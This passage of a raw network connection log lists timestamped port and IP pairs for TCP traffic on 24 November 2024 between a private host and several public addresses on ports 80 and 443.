Nov 24, 2024 19:11:57.900443077 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.900441885 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.900465012 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.900501013 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.900511026 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.935801983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.935862064 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.935884953 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.935966969 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.936029911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.936105967 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.936161995 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.936793089 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.936829090 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.936881065 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.937501907 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.937561989 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.937599897 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.937731981 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.938391924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.938478947 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.938488007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.938544035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.939295053 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.939357996 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.939374924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.939585924 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.940156937 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.940215111 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.940260887 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.940411091 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.941037893 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.941153049 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.941222906 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.941998005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.942066908 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.942105055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.942236900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.942863941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.942919016 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.942939043 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.943121910 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.943737984 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.943794966 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.943837881 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.944051027 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.947151899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.947186947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.947211027 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.947220087 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.947253942 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.947274923 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.947287083 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.947329998 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.947340012 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.947344065 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.947706938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.947952032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.948000908 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.948059082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.948263884 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.948860884 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.948987961 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.949121952 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.949790001 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.949915886 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.949956894 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.950001955 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.950615883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.950669050 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.950731993 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.950951099 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.951452971 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.951503038 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.951595068 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.951771021 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.952425957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.952460051 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.952533007 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.952533007 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.953027010 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.953059912 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.953345060 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.953526974 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.953599930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.953654051 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.954433918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.954487085 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.954540968 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.954593897 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.955339909 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.955395937 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.955410957 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.955440998 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.956262112 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.956322908 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.956368923 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.956413031 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.957154036 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.957220078 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.957223892 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.957468033 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.957998037 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.958070040 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.958136082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.958323956 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.958908081 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.959076881 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.959141016 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.959785938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.959856033 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.959877968 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.960424900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.960704088 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.960761070 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.960870028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.960922003 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.961740017 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.961774111 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.961796999 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.961818933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.962430954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.962491989 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.962529898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.962575912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.963350058 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.963385105 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.963403940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.963574886 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.964231014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.964289904 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:58.010853052 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.010867119 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.010901928 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.010917902 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.010936975 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.010970116 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.010994911 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.035413027 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.035504103 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.088391066 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.088416100 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.088466883 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.088479042 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.088506937 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.088529110 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.146204948 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.146228075 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.146281004 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.146295071 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.146331072 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.146353006 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.163674116 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.163748026 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.200346947 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.200387001 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.200443029 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.200452089 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.200484991 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.200509071 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.224592924 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.224618912 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.224657059 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.224668026 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.224699020 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.224709034 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.240381956 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.240453959 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.240475893 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.240490913 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.240715981 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.252494097 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.252506971 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.474203110 CET	443	49826	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.474718094 CET	49826	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.474742889 CET	443	49826	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.475791931 CET	443	49826	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.475847006 CET	49826	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.476995945 CET	49826	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.477060080 CET	443	49826	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.477442026 CET	49826	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.477449894 CET	443	49826	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.513649940 CET	443	49825	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.514004946 CET	49825	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.514025927 CET	443	49825	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.514166117 CET	443	49824	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.514396906 CET	49824	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.514406919 CET	443	49824	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.514858961 CET	443	49824	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.515064001 CET	443	49825	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.515127897 CET	49825	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.515166998 CET	49824	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.515249968 CET	443	49824	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.515305042 CET	49824	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.515614986 CET	49825	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.515676975 CET	443	49825	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.515861034 CET	49825	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.515871048 CET	443	49825	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.518737078 CET	49826	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.555372953 CET	443	49824	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.559576035 CET	443	49823	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.559809923 CET	49823	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.559820890 CET	443	49823	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.560276985 CET	443	49823	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.560425997 CET	443	49827	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.560621023 CET	49827	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.560637951 CET	443	49827	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.560837984 CET	49823	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.560914993 CET	443	49823	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.560971022 CET	49823	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.561630964 CET	443	49827	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.561697960 CET	49827	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.562088966 CET	49827	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.562150002 CET	443	49827	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.562264919 CET	49827	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.562273979 CET	443	49827	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.565608978 CET	49824	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.565609932 CET	49825	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.574860096 CET	443	49822	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:58.575098038 CET	49822	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:58.575109005 CET	443	49822	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:58.575450897 CET	443	49822	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:58.575787067 CET	49822	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:58.575850964 CET	443	49822	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:58.575911045 CET	49822	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:58.603338957 CET	443	49823	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.612514973 CET	49827	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.612533092 CET	49823	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.618042946 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:58.618165016 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:58.620511055 CET	49822	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:58.620523930 CET	443	49822	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:58.654350042 CET	443	49821	23.96.180.189	192.168.2.8
Nov 24, 2024 19:11:58.654648066 CET	49821	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:11:58.654678106 CET	443	49821	23.96.180.189	192.168.2.8
Nov 24, 2024 19:11:58.655678034 CET	443	49821	23.96.180.189	192.168.2.8
Nov 24, 2024 19:11:58.655740023 CET	49821	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:11:58.656907082 CET	49821	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:11:58.656979084 CET	443	49821	23.96.180.189	192.168.2.8
Nov 24, 2024 19:11:58.657249928 CET	49821	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:11:58.657268047 CET	443	49821	23.96.180.189	192.168.2.8
Nov 24, 2024 19:11:58.680212975 CET	49829	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:11:58.680254936 CET	443	49829	23.57.90.171	192.168.2.8
Nov 24, 2024 19:11:58.680325031 CET	49829	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:11:58.680550098 CET	49829	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:11:58.680567980 CET	443	49829	23.57.90.171	192.168.2.8
Nov 24, 2024 19:11:58.681189060 CET	49830	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:11:58.681222916 CET	443	49830	23.57.90.171	192.168.2.8
Nov 24, 2024 19:11:58.681288004 CET	49830	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:11:58.681616068 CET	49830	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:11:58.681628942 CET	443	49830	23.57.90.171	192.168.2.8
Nov 24, 2024 19:11:58.682682991 CET	49831	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:11:58.682697058 CET	443	49831	204.79.197.219	192.168.2.8
Nov 24, 2024 19:11:58.682755947 CET	49831	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:11:58.682960033 CET	49832	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:11:58.682986975 CET	443	49832	204.79.197.219	192.168.2.8
Nov 24, 2024 19:11:58.683053017 CET	49832	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:11:58.683187962 CET	49831	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:11:58.683198929 CET	443	49831	204.79.197.219	192.168.2.8
Nov 24, 2024 19:11:58.683331013 CET	49832	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:11:58.683343887 CET	443	49832	204.79.197.219	192.168.2.8
Nov 24, 2024 19:11:58.691739082 CET	443	49820	52.182.143.211	192.168.2.8
Nov 24, 2024 19:11:58.691961050 CET	49820	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:58.691983938 CET	443	49820	52.182.143.211	192.168.2.8
Nov 24, 2024 19:11:58.692938089 CET	443	49820	52.182.143.211	192.168.2.8
Nov 24, 2024 19:11:58.693001032 CET	49820	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:58.693984985 CET	49820	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:58.694050074 CET	443	49820	52.182.143.211	192.168.2.8
Nov 24, 2024 19:11:58.694158077 CET	49820	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:58.694174051 CET	443	49820	52.182.143.211	192.168.2.8
Nov 24, 2024 19:11:58.694195986 CET	49820	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:58.694247007 CET	443	49820	52.182.143.211	192.168.2.8
Nov 24, 2024 19:11:58.706239939 CET	49821	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:11:58.737476110 CET	49820	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:58.737654924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:58.737760067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:58.930996895 CET	443	49826	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.931018114 CET	443	49826	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.931072950 CET	443	49826	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.931073904 CET	49826	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.931237936 CET	49826	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.932033062 CET	49826	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.932049990 CET	443	49826	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.960452080 CET	443	49825	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.960477114 CET	443	49825	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.960542917 CET	49825	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.960570097 CET	443	49825	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.962289095 CET	443	49824	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.962385893 CET	443	49824	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.962498903 CET	49824	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.962620020 CET	49825	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.962661028 CET	443	49825	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:58.962707996 CET	49825	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.967329025 CET	49824	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:58.967334986 CET	443	49824	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:59.079765081 CET	443	49827	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:59.079786062 CET	443	49827	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:59.079854965 CET	49827	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:59.079868078 CET	443	49827	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:59.079911947 CET	49827	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:59.081069946 CET	49827	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:59.081109047 CET	443	49827	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:59.081202030 CET	49827	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:59.101880074 CET	443	49823	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:59.101912022 CET	443	49823	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:59.101922035 CET	443	49823	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:59.101955891 CET	49823	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:59.101964951 CET	443	49823	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:59.102000952 CET	443	49823	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:59.102021933 CET	49823	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:59.102021933 CET	49823	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:59.102055073 CET	49823	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:59.104180098 CET	49823	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:59.104195118 CET	443	49823	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:59.112178087 CET	443	49822	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:59.112242937 CET	443	49822	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:59.112302065 CET	49822	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:59.112927914 CET	49822	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:59.112941980 CET	443	49822	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:59.157576084 CET	443	49821	23.96.180.189	192.168.2.8
Nov 24, 2024 19:11:59.157661915 CET	443	49821	23.96.180.189	192.168.2.8
Nov 24, 2024 19:11:59.157922983 CET	49821	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:11:59.158205986 CET	49821	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:11:59.158229113 CET	443	49821	23.96.180.189	192.168.2.8
Nov 24, 2024 19:11:59.163418055 CET	49833	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:11:59.163445950 CET	443	49833	23.96.180.189	192.168.2.8
Nov 24, 2024 19:11:59.163530111 CET	49833	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:11:59.163729906 CET	49833	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:11:59.163742065 CET	443	49833	23.96.180.189	192.168.2.8
Nov 24, 2024 19:11:59.223998070 CET	443	49820	52.182.143.211	192.168.2.8
Nov 24, 2024 19:11:59.224204063 CET	443	49820	52.182.143.211	192.168.2.8
Nov 24, 2024 19:11:59.224256039 CET	49820	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:59.224452972 CET	49820	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:59.224469900 CET	443	49820	52.182.143.211	192.168.2.8
Nov 24, 2024 19:11:59.224479914 CET	49820	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:59.224515915 CET	49820	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:59.499696970 CET	443	49828	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:59.499941111 CET	49828	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:59.499969006 CET	443	49828	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:59.500313997 CET	443	49828	20.110.205.119	192.168.2.8
